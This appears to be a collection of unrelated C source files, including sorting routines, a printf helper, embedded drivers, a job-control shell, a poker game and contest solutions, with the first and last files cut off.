}
while (i < j && R[i].key < temp.key&&compare++)
i++;
if (i < j)
{
R[j] = R[i];
j--;
move++;
}
}
R[i] = temp;
printf(" ");
for (k = 0; k < n; k++)
if (k == i)
printf(" [%d]", R[k].key);
else
printf("%4d", R[k].key);
printf("\n");
QuickSort(R, s, i - 1, n,compare,move);
QuickSort(R, i + 1, t, n,compare,move);
}
}
void SelectSort(RecType R[], int n,int compare,int move)
{
int i, j, k, l;
RecType temp;
compare=move=0;
for (i = 0; i < n - 1; i++)
{
k = i;
for (j = i + 1; j < n; j++)
if (R[j].key < R[k].key&&compare++)
k = j;
if (k != i)
{
temp = R[i];
R[i] = R[k];
R[k] = temp;
move++;
}
printf(" i=%d ", i);
for (l = 0; l < n; l++)
printf("%3d", R[l].key);
printf("\n");
}
}
void DispHeap(RecType R[], int i, int n) /*űʾĶ*/
{
if (i <= n)
printf("%d", R[i].key);
if (2 * i <= n)
{
printf("(");
DispHeap(R, 2 * i, n);
printf(",");
if (2 * i + 1 <= n)
DispHeap(R, 2 * i + 1, n);
printf(")");
}
}
void Sift(RecType R[], int low, int high,int compare,int move) /**/
{
int i = low, j = 2 * i;
RecType temp = R[i];
while (j <= high)
{
if (j < high && R[j].key < R[j + 1].key&&compare++)
j++;
if (temp.key < R[j].key&&compare++)
{
R[i] = R[j];
i = j;
j = 2 * i;
move++;
}
else
break;
}
R[i] = temp;
}
void HeapSort(RecType R[], int n,int compare,int move) /*R[1]R[n]Ԫʵֶ*/
{
int i;
RecType temp;
for (i = n / 2; i >= 1; i--)
Sift(R, i, n,compare,move);
printf("ʼѣ");
DispHeap(R, 1, n);
printf("\n");
for (i = n; i >= 2; i--)
{
printf("%d%d%d\n", R[i].key, R[1].key, R[1].key);
temp = R[1];
R[1] = R[i];
R[i] = temp;
Sift(R, 1, i - 1,compare,move);
printf("ɸѡõѣ");
DispHeap(R, 1, i - 1);
printf("\n");
}
}
void PrintArray(RecType R[], int n)
{
int i;
for (i = 0; i < n; i++)
printf("%3d", R[i].key);
printf("\n");
}
void main()
{
int i, n = 10, cord;
RecType R[MAX], S[MAX];
srand(time(0)); /*ϵͳʱΪ*/
for (i = 0; i < n; i++)
S[i].key = 100 * rand() / RAND_MAX;
/*10100ڵ*/
int compare=0,move=0;
printf("*****************************\n");
printf("1-ֱӲ\n");
printf("ʼؼ֣");
PrintArray(S, n);
for (i = 0; i < n; i++)
R[i].key = S[i].key;
InsertSort(R, n,compare,move);
printf(" ");
PrintArray(R, n);
printf("ܱȽϴ%d\n",compare);
printf("ƶ%d\n",move);
printf("֮ͣ%d\n\n",move+compare);
for (i = 0; i < n; i++)
S[i].key = 100 * rand() / RAND_MAX;
compare=move=0;
printf("2-ϣ\n");
printf("ʼؼ֣");
PrintArray(S, n);
for (i = 0; i < n; i++)
R[i].key = S[i].key;
ShellSort(R, n,compare,move);
printf(" ");
PrintArray(R, n);
printf("ܱȽϴ%d\n",compare);
printf("ƶ%d\n",move);
printf("֮ͣ%d\n\n",move+compare);
for (i = 0; i < n; i++)
S[i].key = 100 * rand() / RAND_MAX;
compare=move=0 ;
printf("3-ð\n");
printf("ʼؼ֣");
PrintArray(S, n);
for (i = 0; i < n; i++)
R[i].key = S[i].key;
BubbleSort(R, n,compare,move);
printf(" ");
PrintArray(R, n);
printf("ܱȽϴ%d\n",compare);
printf("ƶ%d\n",move);
printf("֮ͣ%d\n\n",move+compare);
for (i = 0; i < n; i++)
S[i].key = 100 * rand() / RAND_MAX;
compare=move=0;
printf("4-\n");
printf("ʼؼ֣");
PrintArray(S, n);
for (i = 0; i < n; i++)
R[i].key = S[i].key;
QuickSort(R, 0, n - 1, n,compare,move);
printf(" ");
PrintArray(R, n);
printf("ܱȽϴ%d\n",compare);
printf("ƶ%d\n",move);
printf("֮ͣ%d\n\n",move+compare);
for (i = 0; i < n; i++)
S[i].key = 100 * rand() / RAND_MAX;
compare=move=0 ;
printf("5-ѡ\n");
printf("ʼؼ֣");
PrintArray(S, n);
for (i = 0; i < n; i++)
R[i].key = S[i].key;
SelectSort(R, n,compare,move);
printf(" ");
PrintArray(R, n);
printf("ܱȽϴ%d\n",compare);
printf("ƶ%d\n",move);
printf("֮ͣ%d\n\n",move+compare);
for (i = 0; i < n; i++)
S[i].key = 100 * rand() / RAND_MAX;
compare=move=0;
printf("6-\n");
printf("ʼؼ֣");
PrintArray(S, n);
for (i = 1; i <= n; i++)
R[i].key = S[i - 1].key;
HeapSort(R, n,compare,move);
printf(" ");
PrintArray(R, n);
printf("ܱȽϴ%d\n",compare);
printf("ƶ%d\n",move);
printf("֮ͣ%d\n\n",move+compare);
}
|
C
|
/* ************************************************************************** */
/* */
/* ::: :::::::: */
/* print_formated_unsigned.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: tdefresn <tdefresn@student.42.fr> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2016/10/01 21:46:48 by tdefresn #+# #+# */
/* Updated: 2016/11/08 18:12:13 by tdefresn ### ########.fr */
/* */
/* ************************************************************************** */
#include "ftprintf.h"
static size_t nblen(uintptr_t value)
{
size_t l;
l = 1;
while (value /= 10)
l++;
return (l);
}
static void conversion(void *dst, const void *src, size_t n)
{
char *to;
char *str;
uintptr_t value;
int l;
value = (uintptr_t)*((uintptr_t *)src);
l = nblen(value) - 1;
while (l-- >= (int)n)
value /= 10;
str = &((char *)dst)[n - 1];
to = (char *)dst;
while (str >= to)
{
*str-- = HEX_TABLE(value % 10);
value /= 10;
}
dst = (void *)str;
}
void print_formated_unsigned(t_fdata *fdatas)
{
uintmax_t value;
size_t length;
remove_flags(fdatas, FLAG_SPACE | FLAG_MORE | FLAG_NUMBERSIGN);
if ((value = va_uint(fdatas)))
{
length = nblen(value);
write_format(&value, length, fdatas, conversion);
}
else if (!(fdatas->flag & FLAG_NUMBERSIGN) && fdatas->precision == 0)
write_format("", 0, fdatas, NULL);
else
write_format("0", 1, fdatas, NULL);
}
|
C
|
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include "listSimpleChain.h"
#include "tableHachage.h"
int main(){
int taille1 = 5;
TableHachage t = tableHachage_creer(taille1);
ELEMENT e1;
e1.nbnote=1;
e1.moy=1;
e1.clef="clef1";
ELEMENT e2;
e2.nbnote=2;
e2.moy=2;
e2.clef="clef2";
ELEMENT* e3 = malloc(sizeof(ELEMENT));
e3->nbnote=3;
e3->moy=3;
e3->clef="clef3";
ELEMENT resultat;
int note = 16;
//printf("L'élément 1 est écrasé car à l'indice %d,l'élément 2 doit être à l'indice %d,l'élément 3 doit être à l'indice :%d \n", hachage(e1.clef,taille1), hachage(e2.clef,taille1), hachage(e3.clef,taille1));
tableHachage_ajout(e1,t);
tableHachage_ajout(e2,t);
tableHachage_ajout(*e3,t);
//tableHachage_ajout(eR,t);
tableHachage_visualiser(t);
//printf("On supprime l'élément 2, à l'indice %d",hachage(e2.clef,taille1));
//tableHachage_supprime(e2.clef,t);
//tableHachage_visualiser(t);
//printf("On supprime un element qui n'existe pas, rien ne doit changer : ");
//tableHachage_supprime(e5.clef,t);
//tableHachage_visualiser(t);
//resultat = tableHachage_get(e3.clef,t);
//printf("On affiche l'élément 3, ie : ('valeur3';'clef3') = ");
//list_affiche(resultat);
//printf("\n");
//resultat = tableHachage_get("test",t);
//printf("On cherche un element qui n'est pas dans la liste on attends :((null);(null)) = ");
//list_affiche(resultat);
return(1);
}
|
C
|
int1 normal_state = 1;
// Returns true (1) if one of the side ground sensors is on black.
int1 black_detected()
{
return KJunior_get_proximity(GROUNDLEFT) < bw_threshold_left ||
KJunior_get_proximity(GROUNDRIGHT) < bw_threshold_right;
}
// Returns true (1) if both side ground front sensors are on black.
int1 black_on_both()
{
return KJunior_get_proximity(GROUNDLEFT) < bw_threshold_left &&
KJunior_get_proximity(GROUNDRIGHT) < bw_threshold_right;
}
// Returns true (1) if the left side ground sensors is on black.
int1 black_on_left()
{
return KJunior_get_proximity(GROUNDLEFT) < bw_threshold_left;
}
// Returns true (1) if the right side ground sensors is on black.
int1 black_on_right()
{
return KJunior_get_proximity(GROUNDRIGHT) < bw_threshold_right;
}
//********************************************************//
void turn_left()
{
if(normal_state)
KJunior_set_speed(0, HIGH_SPEED);
else
KJunior_set_speed(0, SPEED);
}
void turn_right()
{
if(normal_state)
KJunior_set_speed(HIGH_SPEED, 0);
else
KJunior_set_speed(SPEED, 0);
}
void move_forward()
{
if(normal_state)
KJunior_set_speed(HIGH_SPEED, HIGH_SPEED);
else
KJunior_set_speed(SPEED, SPEED);
}
void move_backward()
{
if(normal_state)
KJunior_set_speed(-HIGH_SPEED, -HIGH_SPEED);
else
KJunior_set_speed(-SPEED, -SPEED);
}
void rotate_left(int8 s)
{
KJunior_set_speed(-s, s);
}
void rotate_right(int8 s)
{
KJunior_set_speed(s, -s);
}
//********************************************************//
void debug()
{
fprintf(USB, "Left prox %04ld, \r\nRight prox %04ld\r\n",
KJunior_get_proximity(GROUNDLEFT),
KJunior_get_proximity(GROUNDRIGHT));
}
|
C
|
#include <stdio.h>
void kalimera()
{
static int i;
printf("value of i is: %d\n", i++);
}
int main(int argc, const char *argv[])
{
int j;
j = 0;
while (j++ <= 10) {
kalimera();
printf("******\n");
}
return 0;
}
|
C
|
typedef struct SERVICO
{
int dia, mes, ano;
char descricao[80];
struct Recebidos *R;
struct Prestados *P;
struct SERVICO *nseg;
struct SERVICO *nant;
} Servico;
typedef struct RECEBIDOS
{
struct Pessoa *person;
struct RECEBIDOS *nseg;
} Recebidos;
typedef struct PRESTADOS
{
struct Pessoa *person;
struct PRESTADOS *nseg;
} Prestados;
typedef struct PESSOA
{
int BI;
char nome[80];
struct PESSOA *nseg; //adicionar depois para lista salto 10
} Pessoa;
Pessoa *makenodePessoa()
{
Pessoa *nv;
nv = (Pessoa *)malloc(sizeof(Pessoa));
nv->nseg = NULL;
return (nv);
}
Pessoa *insertlastPessoa(Pessoa *M, Pessoa *nv)
{
Pessoa *aux = M;
if (M == NULL)
{
return nv;
}
while (aux->nseg != NULL)
{
aux = aux->nseg;
}
aux->nseg = nv;
return M;
}
Servico *makenodeServico()
{
Servico *nv;
nv = (Servico *)malloc(sizeof(Servico));
nv->nseg = NULL;
return (nv);
}
Servico *insertlastServico(Servico *M, Servico *nv)
{
Servico *aux = M;
if (M == NULL)
{
return nv;
}
while (aux->nseg != NULL)
{
aux = aux->nseg;
}
aux->nseg = nv;
return M;
}
Recebidos *makenodeRecebidos()
{
Recebidos *nv;
nv = (Recebidos *)malloc(sizeof(Recebidos));
nv->nseg = NULL;
return (nv);
}
Recebidos *insertlastRecebidos(Recebidos *M, Recebidos *nv)
{
Recebidos *aux = M;
if (M == NULL)
{
return nv;
}
while (aux->nseg != NULL)
{
aux = aux->nseg;
}
aux->nseg = nv;
return M;
}
Prestados *makenodePrestados()
{
Prestados *nv;
nv = (Prestados *)malloc(sizeof(Prestados));
nv->nseg = NULL;
return (nv);
}
Prestados *insertlastPrestados(Prestados *M, Prestados *nv)
{
Prestados *aux = M;
if (M == NULL)
{
return nv;
}
while (aux->nseg != NULL)
{
aux = aux->nseg;
}
aux->nseg = nv;
return M;
}
int totalServicosPrestados(Servico *S, int BI)
{
Prestados *Prest = NULL;
Pessoa *Person = NULL;
int count = 0;
while (S != NULL)
{
Prest = S->P;
while (Prest != NULL)
{
Person = Prest->person;
if (Person->BI == BI)
{
count++;
}
Prest = Prest->nseg;
}
S = S->nseg;
}
return count;
}
Pessoa *getPessoaBI(Pessoa *P, int BI)
{
while (P != NULL)
{
if (P->BI == BI)
{
return P;
}
P = P->nseg;
}
}
void listaPreguicosos(Pessoa *A, Servico *S)
{
int count = 0;
Servico *aux= S;
Prestados *Prest = NULL;
Pessoa *Person = NULL;
while (A != NULL)
{
count = 0;
S = aux;
while (S != NULL)
{
Prest = S->P;
while (Prest != NULL)
{
Person = Prest->person;
if (Person->BI == A->BI)
{
count++;
}
Prest = Prest->nseg;
}
S = S->nseg;
}
if (count == 0)
{
printf("%s\n", A->nome);
}
A = A->nseg;
}
}
|
C
|
#include<stdio.h>
int main()
{
int num=0,no1=1;
printf("Enter a number: ");
scanf("%d",&num);
printf("Table of number %d is :\n",num);
while (no1<101)
{
int no2=1;
while (no2<=10)
{
printf("%d\t",no1*no2);
if (no2==10)
printf("\n");
no2++;
}
if(no1 % 10 == 0)
printf("\n");
no1++;
}
}
|
C
|
#ifndef LED_DEBUG_H__
#define LED_DEBUG_H__
#include <avr/io.h>
#include <util/delay.h>
//to do #define PORT (B)
#define LED_PORT (PORTB)
#define LED_PIN (5)
#define LED_DIR (DDRB)
#define LED_PORTPIN (PINB)
#if defined(MODULE_LED_DBG)
#define LED_DEBUG_INIT() \
do \
{ \
LED_DIR |= (1 << LED_PIN); \
LED_DEBUG_OFF(); \
} while (0)
#define LED_DEBUG_ON() (LED_PORT |= (1 << LED_PIN))
#define LED_DEBUG_OFF() (LED_PORT &= ~(1 << LED_PIN))
#define LED_DEBUG_TOOGLE() \
do \
{ \
if (LED_PORTPIN & (1 << 5)) \
LED_DEBUG_OFF(); \
else \
LED_DEBUG_ON(); \
} while (0)
#define LED_DEBUG_BLINK(_cnt) \
uint8_t __cnt = _cnt * 2; \
while(__cnt--) \
{ \
LED_DEBUG_TOOGLE(); \
_delay_ms(500); \
}
#else /* MODULE_LED_DBG */
#define LED_DEBUG_INIT()
#define LED_DEBUG_ON()
#define LED_DEBUG_OFF()
#define LED_DEBUG_TOOGLE()
#endif /* MODULE_LED_DBG */
#endif /* LED_DEBUG_H__ */
|
C
|
#include "tree.h"
//求先序遍历中第k个节点的值
ElemType queue[100];
int rear = 0;
void PreOrder3(Tree T) {
if(T) {
queue[rear++] = T->data;
PreOrder3(T->lchild);
PreOrder3(T->rchild);
}
}
ElemType KthPreOrder(Tree T, int k) {
PreOrder3(T);
return queue[k-1];
}
//王道答案
int i=1;//递归序号,全局变量
ElemType PreNode(Tree T, int k) {
if(!T) {
return '#';
}
if(i==k) {
return T->data;
}
i++;
ElemType ch = PreNode(T->lchild, k);
if(ch != '#') {
return ch;
}
ch = PreNode(T->rchild, k);
if(ch != '#') {
return ch;
}
}
int main() {
Tree T;
int k = 2;
T = CreateBiTree(T);
// printf("the %dth in preorder : %c\n", k, KthPreOrder(T, k));
printf("the %dth in preorder : %c\n", k, PreNode(T, k));
}
|
C
|
//Button.c
//Dung Nguyen
//Wally Guzman
#include "tm4c123gh6pm.h"
#include <stdint.h>
#include "Button.h"
#include "Settings.h"
#include "HeartBeat.h"
#define PE0 (*((volatile uint32_t *) 0x40024004))
#define PE1 (*((volatile uint32_t *) 0x40024008))
#define PE2 (*((volatile uint32_t *) 0x40024010))
#define PE3 (*((volatile uint32_t *) 0x40024020))
#define PF0 (*((volatile uint32_t *) 0x40025004))
#define PF4 (*((volatile uint32_t *) 0x40025020))
// Stores button state as follows
// PF4 PF0 PE3 PE2 PE1 PE0
// B A U R D L
uint32_t prevState = 0; // Button state since last update
uint32_t currState = 0; // Current button state
uint32_t checked = 1; // Read/unread data
//------------Button_Init------------
// Initialize PE0-3 and PF0, PF4 for switch input
// Input: none
// Output: none
void Button_Init(void){
volatile int delay;
SYSCTL_RCGCGPIO_R |= 0x10; //enable port E
delay = SYSCTL_RCGCGPIO_R;
GPIO_PORTE_AMSEL_R &= ~0x0F; //disable analog
GPIO_PORTE_PCTL_R &= 0xFFFF0000; //set as digital
GPIO_PORTE_DIR_R &= ~0x0F; //input = 0, set PE3-0 as input;
GPIO_PORTE_AFSEL_R &= ~0x0F; //disable alternate function
GPIO_PORTE_DEN_R |= 0x0F; //enable digital
SYSCTL_RCGCGPIO_R |= 0x20; // 1) activate Port F
delay = SYSCTL_RCGCGPIO_R;
GPIO_PORTF_LOCK_R = GPIO_LOCK_KEY;// 2a) unlock GPIO Port F Commit Register
GPIO_PORTF_CR_R |= 0x11; // 2b) enable commit for PF4-PF0
GPIO_PORTF_AMSEL_R &= ~0x11; // 3) disable analog functionality on PF4-PF0
GPIO_PORTF_PCTL_R &= 0xFFF0FFF0; // 4) configure PF0 & PF4 as GPIO
GPIO_PORTF_DIR_R &= ~0x11; // 5) make PF0 and PF4, 0 = input
GPIO_PORTF_AFSEL_R &= ~0x011; // 6) disable alt funct on PF0 and PF4
if (LAUNCHPAD)
GPIO_PORTF_PUR_R = 0x11; // enable weak pull-up on PF0 and PF4 for Launchpad
GPIO_PORTF_DEN_R |= 0x11; // 7) enable digital I/O on PF0 and PF4
prevState = 0; // Initialize button states
currState = 0;
}
//------------Button_Update------------
// Update internal switch state
// Input: none
// Output: none
void Button_Update(void){
int temp = (~GPIO_PORTF_DATA_R) & 0x11;
temp = ((temp << 4) & 0x10) | ((temp << 1) & 0x20);
prevState = currState;
currState = temp | ((~GPIO_PORTE_DATA_R) & 0x0F); // Create bit vector of PF4, PF0, PE3-0
checked = 0;
HeartBeat(); // Blink PF3 at switch update rate
}
//------------Button_Pressed------------
// Return switches pressed since last update
// Input: none
// Output: Bit vector, 1 is pressed
uint32_t Button_Pressed(void){
checked = 1;
return currState & (~prevState);
}
//------------Button_Unpressed------------
// Return switches not pressed since last update
// Input: none
// Output: Bit vector, 1 is not pressed
uint32_t Button_Unpressed(void){
return (~currState) & prevState;
}
//------------Button_NewState------------
// Return flag for new switch state
// Input: none
// Output: 1 if new state
uint32_t Button_NewState(void) {
return !checked;
}
//------------Button_Transmit------------
// Return state of transmit button, A = PF0
// Input: none
// Output: 1 if transmit button pressed
int Button_Transmit(void) {
return currState & A;
}
//------------Button_Display------------
// Return state of display button, B = PF4
// Input: none
// Output: 1 if display button pressed
int Button_Display(void) {
return currState & B;
}
|
C
|
#include <stdio.h>
#include <string.h>
#include <ctype.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <termios.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <stdbool.h>
#include <fcntl.h>
#define INPUT_STRING_SIZE 80
#define MAX_DIR_STRING_SIZE 255
#define PATH_SPLITTER ":"
#include "io.h"
#include "parse.h"
#include "process.h"
#include "shell.h"
char *cdir=NULL;
int cmd_help(tok_t arg[]);
int cmd_cd(tok_t arg[]);
process * create_process(tok_t* arg);
void add_process(process* p);
void desc_process(process* p);
int cmd_wait(tok_t arg[]);
int cmd_fg(tok_t arg[]);
int cmd_bg(tok_t arg[]);
void terminal_cmd(tok_t arg[]){
int status;
process *p=create_process(arg);
add_process(p);
latest_process=p;
pid_t id=fork();
if(id==0){
latest_process->pid=getpid();
launch_process(latest_process);
}else if(id>0){
latest_process->pid=id;
//desc_process(latest_process);
if(latest_process->background){
fprintf(stdout,"ID: %d running in background\n",latest_process->pid);
waitpid(id,&(latest_process->status),WNOHANG | WUNTRACED);
}else{
waitpid(id,&(latest_process->status),WUNTRACED);
tcsetattr(shell_terminal,TCSADRAIN,&shell_tmodes);
tcsetpgrp(shell_terminal,shell_pgid);
}
if(WEXITSTATUS(latest_process->status)==EXIT_FAILURE){
if(latest_process->prev){
latest_process=p->prev;
free(p);
}else{
first_process=latest_process=NULL;
free(p);
}
}
}else if(id<0){
fprintf(stderr,"failed to fork\n");
}
}
void set_dir(){
free(cdir);
char *temp=malloc(MAX_DIR_STRING_SIZE);
if((temp=getcwd(temp,MAX_DIR_STRING_SIZE))==NULL ){
int i=2;
while(errno==ERANGE && temp==NULL){
temp=realloc(temp,MAX_DIR_STRING_SIZE*i);
temp=getcwd(temp,MAX_DIR_STRING_SIZE*i);
i++;
//printf("err: %d , i: %d\n, %s\n",errno,i,temp);
}
}
int len=strlen(temp)+1;
cdir=malloc(len);
strncpy(cdir,temp,len);
free(temp);
}
int cmd_quit(tok_t arg[]) {
printf("Bye\n");
exit(0);
return 1;
}
/* Command Lookup table */
typedef int cmd_fun_t (tok_t args[]); /* cmd functions take token array and return int */
typedef struct fun_desc {
cmd_fun_t *fun;
char *cmd;
char *doc;
} fun_desc_t;
fun_desc_t cmd_table[] = {
{cmd_help, "?", "show this help menu"},
{cmd_quit, "quit", "quit the command shell"},
{cmd_cd,"cd","change current working directory"},
{cmd_wait,"wait","Wait for all background jobs to terminate before returning to prompt"},
{cmd_fg,"fg","Move process with specific id or most recent process into foreground"},
{cmd_bg,"bg","Move process with specific id or most recent process into background"}
};
int cmd_help(tok_t arg[]) {
int i;
for (i=0; i < (sizeof(cmd_table)/sizeof(fun_desc_t)); i++) {
printf("%s - %s\n",cmd_table[i].cmd, cmd_table[i].doc);
}
return 1;
}
int cmd_cd(tok_t arg[]){
char temp[MAX_DIR_STRING_SIZE];
if(arg[0]){
strcpy(temp,arg[0]);
char *spacer="\ ";
int i;
for(i=1;arg[i];i++){
strcat(temp,spacer);
strcat(temp,arg[i]);
}
}
//printf("TEST: %s\n",temp);
if(chdir(temp)==0){
set_dir();
return 1;
}else{
fprintf(stdout,"no such file or directory :\\\n");
return 0;
}
}
int cmd_wait(tok_t arg[]){
process *p;
for(p=first_process ; p ; p=p->next){
waitpid(p->pid,&(p->status),WUNTRACED);
}
return 1;
}
int cmd_fg(tok_t arg[]){
if(arg[0]){
pid_t id=atoi(arg[0]);
process *p;
for(p=first_process; p ; p=p->next){
if(p->pid==id){
put_process_in_foreground(p,1);
break;
}
}
}
return 1;
}
int cmd_bg(tok_t arg[]){
system("cowsay I dont really know what to do in this function. moo.");
return 1;
}
int lookup(char cmd[]) {
int i;
for (i=0; i < (sizeof(cmd_table)/sizeof(fun_desc_t)); i++) {
if (cmd && (strcmp(cmd_table[i].cmd, cmd) == 0)) return i;
}
return -1;
}
void init_shell(){
/* Check if we are running interactively */
shell_terminal = STDIN_FILENO;
/** Note that we cannot take control of the terminal if the shell
is not interactive */
shell_is_interactive = isatty(shell_terminal);
if(shell_is_interactive){
/* force into foreground */
while(tcgetpgrp (shell_terminal) != (shell_pgid = getpgrp())){
kill( - shell_pgid, SIGTTIN);
}
signal (SIGINT, SIG_IGN);//interrupt : C-c
signal (SIGQUIT, SIG_IGN);/*C-\, same as SIGINT, makes core dump, (like user detects error) */
signal (SIGTSTP, SIG_IGN);//C-z
signal (SIGTTIN, SIG_IGN);//sent if tries to read from terminal when in background
signal (SIGTTOU, SIG_IGN);//same as previous but writing to terminal
shell_pgid = getpid();
/* Put shell in its own process group */
if(setpgid(shell_pgid, shell_pgid) < 0){
perror("Couldn't put the shell in its own process group");
exit(1);
}
/* Take control of the terminal */
tcsetpgrp(shell_terminal, shell_pgid);
tcgetattr(shell_terminal, &shell_tmodes);
}
/** YOUR CODE HERE */
}
/**
* Add a process to our process list
*/
void add_process(process* p){
if(!first_process){
first_process=p;
first_process->prev=NULL;
}else{
latest_process->next=p;
p->prev=latest_process;
}
}
/**
* Creates a process given the inputString from stdin
*/
process* create_process(tok_t * arg){
process * P=malloc(sizeof(process));
P->argv=arg;
P->tmodes=shell_tmodes;
P->stdin=STDIN_FILENO;
P->stdout=STDOUT_FILENO;
P->stderr=STDERR_FILENO;
P->completed=0;
P->stopped=0;
P->background=0;
redirectOut(P);
redirectIn(P);
int tokPos;
if((tokPos=isDirectTok(arg,"&"))){
if(strlen(arg[tokPos])==1){
P->background=1;
int moveUp=tokPos;
arg[moveUp]=NULL;
while(arg[moveUp+1]){
arg[moveUp]=arg[moveUp+1];
arg[moveUp+1]=NULL;
moveUp++;
}
}
}
int arg_count=0;
while(P->argv[arg_count]){
arg_count++;
}
P->argc=arg_count;
return P;
}
void desc_process(process *p){
fprintf(stdout,"pid: %d,proc ptr: %p,prev: %p\n",p->pid,p,p->prev);
}
int shell (int argc, char *argv[]) {
char *s=NULL; //= malloc(INPUT_STRING_SIZE+1); /* user input string */
tok_t *t; /* tokens parsed from input */
int lineNum = 0;
int fundex = -1;
pid_t pid = getpid(); /* get current processes PID */
pid_t ppid = getppid(); /* get parents PID */
pid_t cpid, tcpid, cpgid;
init_shell();
printf("%s running as PID %d under %d\n",argv[0],pid,ppid);
lineNum=0;
set_dir();
fprintf(stdout, "%d:%s $ ", lineNum,cdir);
while ((s = freadln(stdin))){
t = getToks(s); /* break the line into tokens */
//printf("args s: %s\n",s);
fundex = lookup(t[0]); /* Is first token a shell literal */
if(fundex >= 0) cmd_table[fundex].fun(&t[1]);
else {
if(t[0]){
terminal_cmd(t);
}
//fprintf(stdout, "This shell only supports built-ins. Replace this to run programs as commands.\n");
}
free(s);
freeToks(t);
fprintf(stdout, "%d:%s $ ", lineNum,cdir);
}
return 0;
}
|
C
|
// 5-card draw
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "poker.h"
#include "pokersrv.h"
#define DRAW_HAND_SIZE 5
#if DRAW_HAND_SIZE > MAX_HAND_SIZE
#error DRAW_HAND_SIZE is too large
#endif
void
PlayerDraw(PLAYER_LIST *first_to_draw)
{
PLAYER_LIST *pl_current = first_to_draw;
unsigned short keep;
unsigned short us;
// Display players' cards
DisplayHands(0, 0);
do
{
PLAYER *current = pl_current->player;
if (current->in)
{
unsigned short num_cards = 0;
// Prompt player for card drawing
keep = PromptForDraw(current,
¤t->hand,
(1 << DRAW_HAND_SIZE) - 1);
// <keep> is a bitmask of the indices of the cards we wish to
// keep. We replace the rest.
for (us = 0; us < current->hand.count; us++)
{
if (! (keep & (1 << us)) )
{
current->hand.cards[us] = DealACard();
num_cards++;
}
}
DisplayCardsDrawn(current, current->name, num_cards);
}
pl_current = pl_current->next;
}
while (pl_current != first_to_draw);
return;
}
void
FiveCardDraw(PLAYER_LIST *pl_dealer)
{
MONEY pot = 0;
short players_in = 0;
PLAYER_LIST *pl_current;
PLAYER *current;
int i;
PLAYER_LIST *pl_opener;
// Collect antes
pl_current = pl_dealer;
do
{
current = pl_current->player;
if (current->status == PLAYING)
{
pot += ANTE;
players_in++;
current->total -= ANTE;
current->in = TRUE_B;
current->hand.count = 0;
}
else
current->in = FALSE_B;
pl_current = pl_current->next;
}
while (pl_current != pl_dealer);
// Shuffle the deck
ShuffleDeck();
// Deal the five cards to each player
for (i = 0; i < DRAW_HAND_SIZE; i++)
DealARound(pl_dealer->next);
// Let the player to the left of the dealer start the betting
pl_opener = RoundOfBetting(pl_dealer->next, &pot, &players_in, 0, 0);
// If the game isn't over here, then we exchange cards for each player
// and have another round of betting.
if (players_in > 1)
{
PlayerDraw(pl_dealer->next);
RoundOfBetting(pl_opener, &pot, &players_in, 0, 0);
}
ASSERT(players_in > 0);
DetermineWinner(pl_dealer, players_in, pot);
// The hand is over
return;
}
|
C
|
// From Reddit...
#include <stdio.h>
int main(void) {
char *text = "Welcome, %s.\n";
printf((const char *) text, "Vulner");
for (int i = 0; text[i] != 0; i++)
printf("Forms a triangle.\n" + i); // warns
}
|
C
|
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<math.h>
#include<assert.h>
#include<stdbool.h>
#include<limits.h>
#define clr(arr)do{ memset(arr, 0, sizeof(arr)); }while(0)
#define pb(zpv, zvv) zpv.ptr = pushback(zpv.ptr, &zpv.sz, zvv)
#define resizeArray(ptr, type, size) ((type*)realloc(ptr, (size) * sizeof(type)))
int *pushback(int *array, int *size, int value) {
int *output = resizeArray(array, int, *size + 1);
output[(*size)++] = value;
return output;
}
typedef struct{
int*ptr;
int sz;
}vec;
vec newVec() {
vec rez;
rez.ptr = NULL;
rez.sz = 0;
return rez;
}
char buff[1000000];
char*getstr(){
scanf("%s", &buff);
return strdup(buff);
}
enum{ MOD = 21092013};
int main(){
int N, prob=1;
for(scanf("%d", &N); N--;){
char*S = getstr();
char*T = getstr();
int Tsize = strlen(T);
vec st=newVec();
for(int i=0; S[i]; i++){
if(S[i]=='U'){
if(st.sz)
st.sz--;
}
else
pb(st, S[i]);
}
int nextL[Tsize]; clr(nextL);
int nextR[Tsize]; clr(nextR);
int nl = Tsize;
int nr = Tsize;
for(int i=Tsize-1; i >= 0; i--){
nextL[i] = nl;
nextR[i] = nr;
if(T[i] == 'L') nl = i;
if(T[i] == 'R') nr = i;
}
int dp[Tsize+2]; clr(dp);
dp[Tsize] = 1;
for(int i=Tsize-1; i >= 0; i--){
if (T[i] == 'L') dp[i] = 2*dp[i+1] - dp[nextL[i]+1];
else if(T[i] == 'R') dp[i] = 2*dp[i+1] - dp[nextR[i]+1];
else
dp[i] = dp[i+1];
dp[i] %= MOD;
}
int ret = dp[0];
for(int i=0; i<Tsize && st.sz; i++){
if(T[i] == 'U'){
ret++;
if(st.ptr[st.sz-1] == 'L')
ret = (ret + dp[nextR[i]+1]) % MOD;
else if(st.ptr[st.sz-1] == 'R')
ret = (ret + dp[nextL[i]+1]) % MOD;
st.sz--;
}
}
printf("Case %d: %d\n", prob++, (ret + MOD) % MOD);
}
return 0;
}
|
C
|
#include<stdio.h>
#include<stdlib.h>
void combination(int level);
int T, n , A[50],B[50],P[50],i,j,flag[50];
double final;
double ans=0;
int main()
{
scanf("%d",&T);
for(i=0;i<T;i++)
{
scanf("%d",&n);
for(j=0;j<n;j++)
{
scanf("%d%d%d",&P[j],&A[j],&B[j]);
}
final=0;
if(n>16)printf("%lf\n",ans);
else
{
combination(0);
printf("%lf\n",final);
}
}
return 0;
}
void combination(int level)
{
if(level==n)
{
// check whether all positions have different values or not
int temp[16]={0},k;
double prob;
for(k=0;k<n;k++)
{
if(flag[k]==0)
{
temp[A[k]-1]++;
}
else
{
temp[B[k]-1]++;
}
}
for(k=0;k<16;k++)
{
if(temp[k]>1)return;
}
prob=1;
for(k=0;k<n;k++)
{
if(flag[k]==0)
{
prob=(prob*P[k])/100;
}
else
{
prob=prob*(100-P[k])/100;
}
}
final+=prob;
return;
}
flag[level]=0;
combination(level+1);
flag[level]=1;
combination(level+1);
}
|
C
|
/*
Programmer: Grant Ogden
Date: 3/5/2019
Filename: quiz2.c
Reason: To better understand conditional inside loops and flow control.
